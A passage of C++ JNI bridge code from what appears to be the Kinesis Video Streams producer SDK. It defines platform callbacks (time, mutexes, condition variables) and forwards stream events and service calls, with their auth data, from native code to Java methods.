if (mCreateDeviceMethodId == NULL) {
DLOGE("Couldn't find method id createDevice");
return FALSE;
}
mDeviceCertToTokenMethodId = env->GetMethodID(thizCls, "deviceCertToToken", "(Ljava/lang/String;JJ[BIJ)I");
if (mDeviceCertToTokenMethodId == NULL) {
DLOGE("Couldn't find method id deviceCertToToken");
return FALSE;
}
return TRUE;
}
//////////////////////////////////////////////////////////////////////////////////////
// Static callbacks definitions implemented here
//////////////////////////////////////////////////////////////////////////////////////
UINT64 KinesisVideoClientWrapper::getCurrentTimeFunc(UINT64 customData)
{
DLOGS("TID 0x%016" PRIx64 " getCurrentTimeFunc called.", GETTID());
UNUSED_PARAM(customData);
#if defined _WIN32 || defined _WIN64
// GETTIME implementation is the same as in Java for Windows platforms
return GETTIME();
#elif defined __MACH__ || defined __CYGWIN__
// GETTIME implementation is the same as in Java for Mac OSx platforms
return GETTIME();
#else
timeval nowTime;
if (0 != gettimeofday(&nowTime, NULL)) {
return 0;
}
// The precision needs to be on a 100th nanosecond resolution
return (UINT64)nowTime.tv_sec * HUNDREDS_OF_NANOS_IN_A_SECOND + (UINT64)nowTime.tv_usec * HUNDREDS_OF_NANOS_IN_A_MICROSECOND;
#endif
}
UINT32 KinesisVideoClientWrapper::getRandomNumberFunc(UINT64 customData)
{
DLOGS("TID 0x%016" PRIx64 " getRandomNumberFunc called.", GETTID());
UNUSED_PARAM(customData);
return RAND();
}
MUTEX KinesisVideoClientWrapper::createMutexFunc(UINT64 customData, BOOL reentant)
{
DLOGS("TID 0x%016" PRIx64 " createMutexFunc called.", GETTID());
UNUSED_PARAM(customData);
return MUTEX_CREATE(reentant);
}
VOID KinesisVideoClientWrapper::lockMutexFunc(UINT64 customData, MUTEX mutex)
{
DLOGS("TID 0x%016" PRIx64 " lockMutexFunc called.", GETTID());
UNUSED_PARAM(customData);
return MUTEX_LOCK(mutex);
}
VOID KinesisVideoClientWrapper::unlockMutexFunc(UINT64 customData, MUTEX mutex)
{
DLOGS("TID 0x%016" PRIx64 " unlockMutexFunc called.", GETTID());
UNUSED_PARAM(customData);
return MUTEX_UNLOCK(mutex);
}
BOOL KinesisVideoClientWrapper::tryLockMutexFunc(UINT64 customData, MUTEX mutex)
{
DLOGS("TID 0x%016" PRIx64 " tryLockMutexFunc called.", GETTID());
UNUSED_PARAM(customData);
return MUTEX_TRYLOCK(mutex);
}
VOID KinesisVideoClientWrapper::freeMutexFunc(UINT64 customData, MUTEX mutex)
{
DLOGS("TID 0x%016" PRIx64 " freeMutexFunc called.", GETTID());
UNUSED_PARAM(customData);
return MUTEX_FREE(mutex);
}
CVAR KinesisVideoClientWrapper::createConditionVariableFunc(UINT64 customData)
{
DLOGS("TID 0x%016" PRIx64 " createConditionVariableFunc called.", GETTID());
UNUSED_PARAM(customData);
return CVAR_CREATE();
}
STATUS KinesisVideoClientWrapper::signalConditionVariableFunc(UINT64 customData, CVAR cvar)
{
DLOGS("TID 0x%016" PRIx64 " signalConditionVariableFunc called.", GETTID());
UNUSED_PARAM(customData);
return CVAR_SIGNAL(cvar);
}
STATUS KinesisVideoClientWrapper::broadcastConditionVariableFunc(UINT64 customData, CVAR cvar)
{
DLOGS("TID 0x%016" PRIx64 " broadcastConditionVariableFunc called.", GETTID());
UNUSED_PARAM(customData);
return CVAR_BROADCAST(cvar);
}
STATUS KinesisVideoClientWrapper::waitConditionVariableFunc(UINT64 customData, CVAR cvar, MUTEX mutex, UINT64 timeout)
{
DLOGS("TID 0x%016" PRIx64 " waitConditionVariableFunc called.", GETTID());
UNUSED_PARAM(customData);
return CVAR_WAIT(cvar, mutex, timeout);
}
VOID KinesisVideoClientWrapper::freeConditionVariableFunc(UINT64 customData, CVAR cvar)
{
DLOGS("TID 0x%016" PRIx64 " freeConditionVariableFunc called.", GETTID());
UNUSED_PARAM(customData);
return CVAR_FREE(cvar);
}
//////////////////////////////////////////////////////////////////////////////////////
// Static callbacks definitions implemented in the Java layer
//////////////////////////////////////////////////////////////////////////////////////
STATUS KinesisVideoClientWrapper::getDeviceCertificateFunc(UINT64 customData, PBYTE* ppCert, PUINT32 pSize, PUINT64 pExpiration)
{
DLOGS("TID 0x%016" PRIx64 " getDeviceCertificateFunc called.", GETTID());
KinesisVideoClientWrapper *pWrapper = FROM_WRAPPER_HANDLE(customData);
CHECK(pWrapper != NULL && ppCert != NULL && pSize != NULL && pExpiration != NULL);
return pWrapper->getAuthInfo(pWrapper->mGetDeviceCertificateMethodId, ppCert, pSize, pExpiration);
}
STATUS KinesisVideoClientWrapper::getSecurityTokenFunc(UINT64 customData, PBYTE* ppToken, PUINT32 pSize, PUINT64 pExpiration)
{
DLOGS("TID 0x%016" PRIx64 " getSecurityTokenFunc called.", GETTID());
KinesisVideoClientWrapper *pWrapper = FROM_WRAPPER_HANDLE(customData);
CHECK(pWrapper != NULL && ppToken != NULL && pSize != NULL && pExpiration != NULL);
return pWrapper->getAuthInfo(pWrapper->mGetSecurityTokenMethodId, ppToken, pSize, pExpiration);
}
STATUS KinesisVideoClientWrapper::getDeviceFingerprintFunc(UINT64 customData, PCHAR* ppFingerprint)
{
DLOGS("TID 0x%016" PRIx64 " getDeviceFingerprintFunc called.", GETTID());
KinesisVideoClientWrapper *pWrapper = FROM_WRAPPER_HANDLE(customData);
CHECK(pWrapper != NULL && ppFingerprint != NULL);
// Get the ENV from the JavaVM
JNIEnv *env;
BOOL detached = FALSE;
STATUS retStatus = STATUS_SUCCESS;
jstring jstr = NULL;
const jchar* bufferPtr = NULL;
UINT32 strLen;
INT32 envState = pWrapper->mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (envState == JNI_EDETACHED) {
ATTACH_CURRENT_THREAD_TO_JVM(env);
// Store the detached so we can detach the thread after the call
detached = TRUE;
}
// Call the Java func
jstr = (jstring) env->CallObjectMethod(pWrapper->mGlobalJniObjRef, pWrapper->mGetDeviceFingerprintMethodId);
CHK_JVM_EXCEPTION(env);
if (jstr != NULL) {
// Extract the bits from the byte buffer
bufferPtr = env->GetStringChars(jstr, NULL);
strLen = (UINT32)STRLEN((PCHAR) bufferPtr);
if (strLen >= MAX_AUTH_LEN) {
retStatus = STATUS_INVALID_ARG;
goto CleanUp;
}
// Copy the bits
STRCPY((PCHAR) pWrapper->mAuthInfo.data, (PCHAR) bufferPtr);
pWrapper->mAuthInfo.type = AUTH_INFO_NONE;
pWrapper->mAuthInfo.size = strLen;
*ppFingerprint = (PCHAR) pWrapper->mAuthInfo.data;
} else {
pWrapper->mAuthInfo.type = AUTH_INFO_NONE;
pWrapper->mAuthInfo.size = 0;
// Set the returned values
*ppFingerprint = NULL;
}
CleanUp:
// Release the array object if allocated
if (bufferPtr != NULL) {
env->ReleaseStringChars(jstr, bufferPtr);
}
// Detach the thread if we have attached it to JVM
if (detached) {
pWrapper->mJvm->DetachCurrentThread();
}
return retStatus;
}
STATUS KinesisVideoClientWrapper::streamUnderflowReportFunc(UINT64 customData, STREAM_HANDLE streamHandle)
{
DLOGS("TID 0x%016" PRIx64 " streamUnderflowReportFunc called.", GETTID());
KinesisVideoClientWrapper *pWrapper = FROM_WRAPPER_HANDLE(customData);
CHECK(pWrapper != NULL);
// Get the ENV from the JavaVM
JNIEnv *env;
BOOL detached = FALSE;
STATUS retStatus = STATUS_SUCCESS;
INT32 envState = pWrapper->mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (envState == JNI_EDETACHED) {
ATTACH_CURRENT_THREAD_TO_JVM(env);
// Store the detached so we can detach the thread after the call
detached = TRUE;
}
// Call the Java func
env->CallVoidMethod(pWrapper->mGlobalJniObjRef, pWrapper->mStreamUnderflowReportMethodId, streamHandle);
CHK_JVM_EXCEPTION(env);
CleanUp:
// Detach the thread if we have attached it to JVM
if (detached) {
pWrapper->mJvm->DetachCurrentThread();
}
return retStatus;
}
STATUS KinesisVideoClientWrapper::storageOverflowPressureFunc(UINT64 customData, UINT64 remainingSize)
{
DLOGS("TID 0x%016" PRIx64 " storageOverflowPressureFunc called.", GETTID());
KinesisVideoClientWrapper *pWrapper = FROM_WRAPPER_HANDLE(customData);
CHECK(pWrapper != NULL);
// Get the ENV from the JavaVM
JNIEnv *env;
BOOL detached = FALSE;
STATUS retStatus = STATUS_SUCCESS;
INT32 envState = pWrapper->mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (envState == JNI_EDETACHED) {
ATTACH_CURRENT_THREAD_TO_JVM(env);
// Store the detached so we can detach the thread after the call
detached = TRUE;
}
// Call the Java func
env->CallVoidMethod(pWrapper->mGlobalJniObjRef, pWrapper->mStorageOverflowPressureMethodId, remainingSize);
CHK_JVM_EXCEPTION(env);
CleanUp:
// Detach the thread if we have attached it to JVM
if (detached) {
pWrapper->mJvm->DetachCurrentThread();
}
return retStatus;
}
STATUS KinesisVideoClientWrapper::streamLatencyPressureFunc(UINT64 customData, STREAM_HANDLE streamHandle, UINT64 duration)
{
DLOGS("TID 0x%016" PRIx64 " streamLatencyPressureFunc called.", GETTID());
KinesisVideoClientWrapper *pWrapper = FROM_WRAPPER_HANDLE(customData);
CHECK(pWrapper != NULL);
// Get the ENV from the JavaVM
JNIEnv *env;
BOOL detached = FALSE;
STATUS retStatus = STATUS_SUCCESS;
INT32 envState = pWrapper->mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (envState == JNI_EDETACHED) {
ATTACH_CURRENT_THREAD_TO_JVM(env);
// Store the detached so we can detach the thread after the call
detached = TRUE;
}
// Call the Java func
env->CallVoidMethod(pWrapper->mGlobalJniObjRef, pWrapper->mStreamLatencyPressureMethodId, streamHandle, duration);
CHK_JVM_EXCEPTION(env);
CleanUp:
// Detach the thread if we have attached it to JVM
if (detached) {
pWrapper->mJvm->DetachCurrentThread();
}
return retStatus;
}
STATUS KinesisVideoClientWrapper::streamConnectionStaleFunc(UINT64 customData, STREAM_HANDLE streamHandle, UINT64 duration)
{
DLOGS("TID 0x%016" PRIx64 " streamConnectionStaleFunc called.", GETTID());
KinesisVideoClientWrapper *pWrapper = FROM_WRAPPER_HANDLE(customData);
CHECK(pWrapper != NULL);
// Get the ENV from the JavaVM
JNIEnv *env;
BOOL detached = FALSE;
STATUS retStatus = STATUS_SUCCESS;
INT32 envState = pWrapper->mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (envState == JNI_EDETACHED) {
ATTACH_CURRENT_THREAD_TO_JVM(env);
// Store the detached so we can detach the thread after the call
detached = TRUE;
}
// Call the Java func
env->CallVoidMethod(pWrapper->mGlobalJniObjRef, pWrapper->mStreamConnectionStaleMethodId, streamHandle, duration);
CHK_JVM_EXCEPTION(env);
CleanUp:
// Detach the thread if we have attached it to JVM
if (detached) {
pWrapper->mJvm->DetachCurrentThread();
}
return retStatus;
}
STATUS KinesisVideoClientWrapper::fragmentAckReceivedFunc(UINT64 customData, STREAM_HANDLE streamHandle,
UPLOAD_HANDLE upload_handle, PFragmentAck pFragmentAck)
{
DLOGS("TID 0x%016" PRIx64 " fragmentAckReceivedFunc called.", GETTID());
KinesisVideoClientWrapper *pWrapper = FROM_WRAPPER_HANDLE(customData);
CHECK(pWrapper != NULL);
// Get the ENV from the JavaVM
JNIEnv *env;
BOOL detached = FALSE;
STATUS retStatus = STATUS_SUCCESS;
jstring jstrSequenceNum = NULL;
jobject ack = NULL;
jmethodID methodId = NULL;
jclass ackClass = NULL;
INT32 envState = pWrapper->mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (envState == JNI_EDETACHED) {
ATTACH_CURRENT_THREAD_TO_JVM(env);
// Store the detached so we can detach the thread after the call
detached = TRUE;
}
// Get the class object for Ack
ackClass = env->FindClass("com/amazonaws/kinesisvideo/producer/KinesisVideoFragmentAck");
CHK(ackClass != NULL, STATUS_INVALID_OPERATION);
// Get the Ack constructor method id
methodId = env->GetMethodID(ackClass, "<init>", "(IJLjava/lang/String;I)V");
CHK(methodId != NULL, STATUS_INVALID_OPERATION);
jstrSequenceNum = env->NewStringUTF(pFragmentAck->sequenceNumber);
CHK(jstrSequenceNum != NULL, STATUS_NOT_ENOUGH_MEMORY);
// Create a new tag object
ack = env->NewObject(ackClass,
methodId,
(jint) pFragmentAck->ackType,
(jlong) pFragmentAck->timestamp,
jstrSequenceNum,
(jint) pFragmentAck->result);
CHK(ack != NULL, STATUS_NOT_ENOUGH_MEMORY);
// Call the Java func
env->CallVoidMethod(pWrapper->mGlobalJniObjRef, pWrapper->mFragmentAckReceivedMethodId, streamHandle, upload_handle, ack);
CHK_JVM_EXCEPTION(env);
CleanUp:
// Detach the thread if we have attached it to JVM
if (detached) {
pWrapper->mJvm->DetachCurrentThread();
}
return retStatus;
}
STATUS KinesisVideoClientWrapper::droppedFrameReportFunc(UINT64 customData, STREAM_HANDLE streamHandle, UINT64 frameTimecode)
{
DLOGS("TID 0x%016" PRIx64 " droppedFrameReportFunc called.", GETTID());
KinesisVideoClientWrapper *pWrapper = FROM_WRAPPER_HANDLE(customData);
CHECK(pWrapper != NULL);
// Get the ENV from the JavaVM
JNIEnv *env;
BOOL detached = FALSE;
STATUS retStatus = STATUS_SUCCESS;
INT32 envState = pWrapper->mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (envState == JNI_EDETACHED) {
ATTACH_CURRENT_THREAD_TO_JVM(env);
// Store the detached so we can detach the thread after the call
detached = TRUE;
}
// Call the Java func
env->CallVoidMethod(pWrapper->mGlobalJniObjRef, pWrapper->mDroppedFrameReportMethodId, streamHandle, frameTimecode);
CHK_JVM_EXCEPTION(env);
CleanUp:
// Detach the thread if we have attached it to JVM
if (detached) {
pWrapper->mJvm->DetachCurrentThread();
}
return retStatus;
}
STATUS KinesisVideoClientWrapper::bufferDurationOverflowPressureFunc(UINT64 customData, STREAM_HANDLE streamHandle, UINT64 remainingDuration){
DLOGS("TID 0x%016" PRIx64 " bufferDurationOverflowPressureFunc called.", GETTID());
KinesisVideoClientWrapper *pWrapper = FROM_WRAPPER_HANDLE(customData);
CHECK(pWrapper != NULL);
// Get the ENV from the JavaVM
JNIEnv *env;
BOOL detached = FALSE;
STATUS retStatus = STATUS_SUCCESS;
INT32 envState = pWrapper->mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (envState == JNI_EDETACHED) {
ATTACH_CURRENT_THREAD_TO_JVM(env);
// Store the detached so we can detach the thread after the call
detached = TRUE;
}
// Call the Java func
env->CallVoidMethod(pWrapper->mGlobalJniObjRef, pWrapper->mBufferDurationOverflowPressureMethodId, streamHandle, remainingDuration);
CHK_JVM_EXCEPTION(env);
CleanUp:
// Detach the thread if we have attached it to JVM
if (detached) {
pWrapper->mJvm->DetachCurrentThread();
}
return retStatus;
}
STATUS KinesisVideoClientWrapper::droppedFragmentReportFunc(UINT64 customData, STREAM_HANDLE streamHandle, UINT64 fragmentTimecode)
{
DLOGS("TID 0x%016" PRIx64 " droppedFragmentReportFunc called.", GETTID());
KinesisVideoClientWrapper *pWrapper = FROM_WRAPPER_HANDLE(customData);
CHECK(pWrapper != NULL);
// Get the ENV from the JavaVM
JNIEnv *env;
BOOL detached = FALSE;
STATUS retStatus = STATUS_SUCCESS;
INT32 envState = pWrapper->mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (envState == JNI_EDETACHED) {
ATTACH_CURRENT_THREAD_TO_JVM(env);
// Store the detached so we can detach the thread after the call
detached = TRUE;
}
// Call the Java func
env->CallVoidMethod(pWrapper->mGlobalJniObjRef, pWrapper->mDroppedFragmentReportMethodId, streamHandle, fragmentTimecode);
CHK_JVM_EXCEPTION(env);
CleanUp:
// Detach the thread if we have attached it to JVM
if (detached) {
pWrapper->mJvm->DetachCurrentThread();
}
return retStatus;
}
STATUS KinesisVideoClientWrapper::streamErrorReportFunc(UINT64 customData, STREAM_HANDLE streamHandle,
UPLOAD_HANDLE upload_handle, UINT64 fragmentTimecode, STATUS statusCode)
{
DLOGS("TID 0x%016" PRIx64 " streamErrorReportFunc called.", GETTID());
KinesisVideoClientWrapper *pWrapper = FROM_WRAPPER_HANDLE(customData);
CHECK(pWrapper != NULL);
// Get the ENV from the JavaVM
JNIEnv *env;
BOOL detached = FALSE;
STATUS retStatus = STATUS_SUCCESS;
INT32 envState = pWrapper->mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (envState == JNI_EDETACHED) {
ATTACH_CURRENT_THREAD_TO_JVM(env);
// Store the detached so we can detach the thread after the call
detached = TRUE;
}
// Call the Java func
env->CallVoidMethod(pWrapper->mGlobalJniObjRef, pWrapper->mStreamErrorReportMethodId, streamHandle, upload_handle,
fragmentTimecode, statusCode);
CHK_JVM_EXCEPTION(env);
CleanUp:
// Detach the thread if we have attached it to JVM
if (detached) {
pWrapper->mJvm->DetachCurrentThread();
}
return retStatus;
}
STATUS KinesisVideoClientWrapper::streamReadyFunc(UINT64 customData, STREAM_HANDLE streamHandle)
{
DLOGS("TID 0x%016" PRIx64 " streamReadyFunc called.", GETTID());
KinesisVideoClientWrapper *pWrapper = FROM_WRAPPER_HANDLE(customData);
CHECK(pWrapper != NULL);
// Get the ENV from the JavaVM
JNIEnv *env;
BOOL detached = FALSE;
STATUS retStatus = STATUS_SUCCESS;
INT32 envState = pWrapper->mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (envState == JNI_EDETACHED) {
ATTACH_CURRENT_THREAD_TO_JVM(env);
// Store the detached so we can detach the thread after the call
detached = TRUE;
}
// Call the Java func
env->CallVoidMethod(pWrapper->mGlobalJniObjRef, pWrapper->mStreamReadyMethodId, streamHandle);
CHK_JVM_EXCEPTION(env);
CleanUp:
// Detach the thread if we have attached it to JVM
if (detached) {
pWrapper->mJvm->DetachCurrentThread();
}
return retStatus;
}
STATUS KinesisVideoClientWrapper::streamClosedFunc(UINT64 customData, STREAM_HANDLE streamHandle, UINT64 uploadHandle)
{
DLOGS("TID 0x%016" PRIx64 " streamClosedFunc called.", GETTID());
KinesisVideoClientWrapper *pWrapper = FROM_WRAPPER_HANDLE(customData);
CHECK(pWrapper != NULL);
// Get the ENV from the JavaVM
JNIEnv *env;
BOOL detached = FALSE;
STATUS retStatus = STATUS_SUCCESS;
INT32 envState = pWrapper->mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (envState == JNI_EDETACHED) {
ATTACH_CURRENT_THREAD_TO_JVM(env);
// Store the detached so we can detach the thread after the call
detached = TRUE;
}
// Call the Java func
env->CallVoidMethod(pWrapper->mGlobalJniObjRef, pWrapper->mStreamClosedMethodId, streamHandle, uploadHandle);
CHK_JVM_EXCEPTION(env);
CleanUp:
// Detach the thread if we have attached it to JVM
if (detached) {
pWrapper->mJvm->DetachCurrentThread();
}
return retStatus;
}
STATUS KinesisVideoClientWrapper::streamDataAvailableFunc(UINT64 customData, STREAM_HANDLE streamHandle, PCHAR streamName, UINT64 uploadHandle, UINT64 duration, UINT64 availableSize)
{
DLOGS("TID 0x%016" PRIx64 " streamDataAvailableFunc called.", GETTID());
KinesisVideoClientWrapper *pWrapper = FROM_WRAPPER_HANDLE(customData);
CHECK(pWrapper != NULL);
// Get the ENV from the JavaVM
JNIEnv *env;
BOOL detached = FALSE;
STATUS retStatus = STATUS_SUCCESS;
jstring jstrStreamName = NULL;
INT32 envState = pWrapper->mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (envState == JNI_EDETACHED) {
ATTACH_CURRENT_THREAD_TO_JVM(env);
// Store the detached so we can detach the thread after the call
detached = TRUE;
}
// Call the Java func
jstrStreamName = env->NewStringUTF(streamName);
if (jstrStreamName == NULL) {
retStatus = STATUS_NOT_ENOUGH_MEMORY;
goto CleanUp;
}
env->CallVoidMethod(pWrapper->mGlobalJniObjRef, pWrapper->mStreamDataAvailableMethodId, streamHandle, jstrStreamName, uploadHandle, duration, availableSize);
CHK_JVM_EXCEPTION(env);
CleanUp:
if (jstrStreamName != NULL) {
env->DeleteLocalRef(jstrStreamName);
}
// Detach the thread if we have attached it to JVM
if (detached) {
pWrapper->mJvm->DetachCurrentThread();
}
return retStatus;
}
STATUS KinesisVideoClientWrapper::createStreamFunc(UINT64 customData,
PCHAR deviceName,
PCHAR streamName,
PCHAR contentType,
PCHAR kmsKeyId,
UINT64 retention,
PServiceCallContext pCallbackContext)
{
DLOGS("TID 0x%016" PRIx64 " createStreamFunc called.", GETTID());
KinesisVideoClientWrapper *pWrapper = FROM_WRAPPER_HANDLE(customData);
CHECK(pWrapper != NULL);
// Get the ENV from the JavaVM
JNIEnv *env;
BOOL detached = FALSE;
STATUS retStatus = STATUS_SUCCESS;
jstring jstrDeviceName = NULL, jstrStreamName = NULL, jstrContentType = NULL, jstrKmsKeyId = NULL;
jbyteArray authByteArray = NULL;
INT32 envState = pWrapper->mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (envState == JNI_EDETACHED) {
ATTACH_CURRENT_THREAD_TO_JVM(env);
// Store the detached so we can detach the thread after the call
detached = TRUE;
}
// Call the Java func
jstrDeviceName = env->NewStringUTF(deviceName);
jstrStreamName = env->NewStringUTF(streamName);
jstrContentType = env->NewStringUTF(contentType);
if (kmsKeyId != NULL) {
jstrKmsKeyId = env->NewStringUTF(kmsKeyId);
}
authByteArray = env->NewByteArray(pCallbackContext->pAuthInfo->size);
if (jstrContentType == NULL ||
jstrDeviceName == NULL ||
jstrStreamName == NULL ||
authByteArray == NULL) {
retStatus = STATUS_NOT_ENOUGH_MEMORY;
goto CleanUp;
}
// Copy the bits into the managed array
env->SetByteArrayRegion(authByteArray,
0,
pCallbackContext->pAuthInfo->size,
(const jbyte*) pCallbackContext->pAuthInfo->data);
// Invoke the callback
retStatus = env->CallIntMethod(pWrapper->mGlobalJniObjRef,
pWrapper->mCreateStreamMethodId,
jstrDeviceName,
jstrStreamName,
jstrContentType,
jstrKmsKeyId,
retention,
pCallbackContext->callAfter,
pCallbackContext->timeout,
authByteArray,
pCallbackContext->pAuthInfo->type,
pCallbackContext->customData
);
CHK_JVM_EXCEPTION(env);
CleanUp:
if (jstrDeviceName != NULL) {
env->DeleteLocalRef(jstrDeviceName);
}
if (jstrStreamName != NULL) {
env->DeleteLocalRef(jstrStreamName);
}
if (jstrContentType != NULL) {
env->DeleteLocalRef(jstrContentType);
}
if (jstrKmsKeyId != NULL) {
env->DeleteLocalRef(jstrKmsKeyId);
}
if (authByteArray != NULL) {
env->DeleteLocalRef(authByteArray);
}
// Detach the thread if we have attached it to JVM
if (detached) {
pWrapper->mJvm->DetachCurrentThread();
}
return retStatus;
}
STATUS KinesisVideoClientWrapper::describeStreamFunc(UINT64 customData,
PCHAR streamName,
PServiceCallContext pCallbackContext)
{
DLOGS("TID 0x%016" PRIx64 " describeStreamFunc called.", GETTID());
KinesisVideoClientWrapper *pWrapper = FROM_WRAPPER_HANDLE(customData);
CHECK(pWrapper != NULL);
// Get the ENV from the JavaVM
JNIEnv *env;
BOOL detached = FALSE;
STATUS retStatus = STATUS_SUCCESS;
jstring jstrStreamName = NULL;
jbyteArray authByteArray = NULL;
INT32 envState = pWrapper->mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (envState == JNI_EDETACHED) {
ATTACH_CURRENT_THREAD_TO_JVM(env);
// Store the detached so we can detach the thread after the call
detached = TRUE;
}
// Call the Java func
jstrStreamName = env->NewStringUTF(streamName);
authByteArray = env->NewByteArray(pCallbackContext->pAuthInfo->size);
if (jstrStreamName == NULL ||
authByteArray == NULL) {
retStatus = STATUS_NOT_ENOUGH_MEMORY;
goto CleanUp;
}
// Copy the bits into the managed array
env->SetByteArrayRegion(authByteArray,
0,
pCallbackContext->pAuthInfo->size,
(const jbyte*) pCallbackContext->pAuthInfo->data);
// Invoke the callback
retStatus = env->CallIntMethod(pWrapper->mGlobalJniObjRef,
pWrapper->mDescribeStreamMethodId,
jstrStreamName,
pCallbackContext->callAfter,
pCallbackContext->timeout,
authByteArray,
pCallbackContext->pAuthInfo->type,
pCallbackContext->customData
);
CHK_JVM_EXCEPTION(env);
CleanUp:
if (jstrStreamName != NULL) {
env->DeleteLocalRef(jstrStreamName);
}
if (authByteArray != NULL) {
env->DeleteLocalRef(authByteArray);
}
// Detach the thread if we have attached it to JVM
if (detached) {
pWrapper->mJvm->DetachCurrentThread();
}
return retStatus;
}
STATUS KinesisVideoClientWrapper::getStreamingEndpointFunc(UINT64 customData,
PCHAR streamName,
PCHAR apiName,
PServiceCallContext pCallbackContext)
{
DLOGS("TID 0x%016" PRIx64 " getStreamingEndpointFunc called.", GETTID());
KinesisVideoClientWrapper *pWrapper = FROM_WRAPPER_HANDLE(customData);
CHECK(pWrapper != NULL);
// Get the ENV from the JavaVM
JNIEnv *env;
BOOL detached = FALSE;
STATUS retStatus = STATUS_SUCCESS;
jstring jstrStreamName = NULL;
jstring jstrApiName = NULL;
jbyteArray authByteArray = NULL;
INT32 envState = pWrapper->mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (envState == JNI_EDETACHED) {
ATTACH_CURRENT_THREAD_TO_JVM(env);
// Store the detached so we can detach the thread after the call
detached = TRUE;
}
// Call the Java func
jstrStreamName = env->NewStringUTF(streamName);
jstrApiName = env->NewStringUTF(apiName);
authByteArray = env->NewByteArray(pCallbackContext->pAuthInfo->size);
if (jstrStreamName == NULL ||
jstrApiName == NULL ||
authByteArray == NULL) {
retStatus = STATUS_NOT_ENOUGH_MEMORY;
goto CleanUp;
}
// Copy the bits into the managed array
env->SetByteArrayRegion(authByteArray,
0,
pCallbackContext->pAuthInfo->size,
(const jbyte*) pCallbackContext->pAuthInfo->data);
// Invoke the callback
retStatus = env->CallIntMethod(pWrapper->mGlobalJniObjRef,
pWrapper->mGetStreamingEndpointMethodId,
jstrStreamName,
jstrApiName,
pCallbackContext->callAfter,
pCallbackContext->timeout,
authByteArray,
pCallbackContext->pAuthInfo->type,
pCallbackContext->customData
);
CHK_JVM_EXCEPTION(env);
CleanUp:
if (jstrStreamName != NULL) {
env->DeleteLocalRef(jstrStreamName);
}
if (authByteArray != NULL) {
env->DeleteLocalRef(authByteArray);
}
// Detach the thread if we have attached it to JVM
if (detached) {
pWrapper->mJvm->DetachCurrentThread();
}
return retStatus;
}
STATUS KinesisVideoClientWrapper::getStreamingTokenFunc(UINT64 customData,
PCHAR streamName,
STREAM_ACCESS_MODE accessMode,
PServiceCallContext pCallbackContext)
{
DLOGS("TID 0x%016" PRIx64 " getStreamingTokenFunc called.", GETTID());
KinesisVideoClientWrapper *pWrapper = FROM_WRAPPER_HANDLE(customData);
CHECK(pWrapper != NULL);
// Get the ENV from the JavaVM
JNIEnv *env;
BOOL detached = FALSE;
STATUS retStatus = STATUS_SUCCESS;
jstring jstrStreamName = NULL;
jbyteArray authByteArray = NULL;
INT32 envState = pWrapper->mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (envState == JNI_EDETACHED) {
ATTACH_CURRENT_THREAD_TO_JVM(env);
// Store the detached so we can detach the thread after the call
detached = TRUE;
}
// Call the Java func
jstrStreamName = env->NewStringUTF(streamName);
authByteArray = env->NewByteArray(pCallbackContext->pAuthInfo->size);
if (jstrStreamName == NULL ||
authByteArray == NULL) {
retStatus = STATUS_NOT_ENOUGH_MEMORY;
goto CleanUp;
}
// Copy the bits into the managed array
env->SetByteArrayRegion(authByteArray,
0,
pCallbackContext->pAuthInfo->size,
(const jbyte*) pCallbackContext->pAuthInfo->data);
// Invoke the callback
retStatus = env->CallIntMethod(pWrapper->mGlobalJniObjRef,
pWrapper->mGetStreamingTokenMethodId,
jstrStreamName,
pCallbackContext->callAfter,
pCallbackContext->timeout,
authByteArray,
pCallbackContext->pAuthInfo->type,
pCallbackContext->customData
);
CHK_JVM_EXCEPTION(env);
CleanUp:
if (jstrStreamName != NULL) {
env->DeleteLocalRef(jstrStreamName);
}
if (authByteArray != NULL) {
env->DeleteLocalRef(authByteArray);
}
// Detach the thread if we have attached it to JVM
if (detached) {
pWrapper->mJvm->DetachCurrentThread();
}
return retStatus;
}
STATUS KinesisVideoClientWrapper::putStreamFunc(UINT64 customData,
PCHAR streamName,
PCHAR containerType,
UINT64 streamStartTime,
BOOL absoluteFragmentTimestamp,
BOOL ackRequired,
PCHAR streamingEndpoint,
PServiceCallContext pCallbackContext)
{
DLOGS("TID 0x%016" PRIx64 " putStreamFunc called.", GETTID());
KinesisVideoClientWrapper *pWrapper = FROM_WRAPPER_HANDLE(customData);
CHECK(pWrapper != NULL);
// Get the ENV from the JavaVM
JNIEnv *env;
BOOL detached = FALSE;
STATUS retStatus = STATUS_SUCCESS;
jstring jstrStreamName = NULL, jstrContainerType = NULL, jstrStreamingEndpoint = NULL;
jbyteArray authByteArray = NULL;
INT32 envState = pWrapper->mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (envState == JNI_EDETACHED) {
ATTACH_CURRENT_THREAD_TO_JVM(env);
// Store the detached so we can detach the thread after the call
detached = TRUE;
}
// Call the Java func
jstrStreamName = env->NewStringUTF(streamName);
jstrContainerType = env->NewStringUTF(containerType);
jstrStreamingEndpoint = env->NewStringUTF(streamingEndpoint);
authByteArray = env->NewByteArray(pCallbackContext->pAuthInfo->size);
if (jstrStreamName == NULL ||
jstrContainerType == NULL ||
jstrStreamingEndpoint == NULL ||
authByteArray == NULL) {
retStatus = STATUS_NOT_ENOUGH_MEMORY;
goto CleanUp;
}
// Copy the bits into the managed array
env->SetByteArrayRegion(authByteArray,
0,
pCallbackContext->pAuthInfo->size,
(const jbyte*) pCallbackContext->pAuthInfo->data);
// Invoke the callback
retStatus = env->CallIntMethod(pWrapper->mGlobalJniObjRef,
pWrapper->mPutStreamMethodId,
jstrStreamName,
jstrContainerType,
streamStartTime,
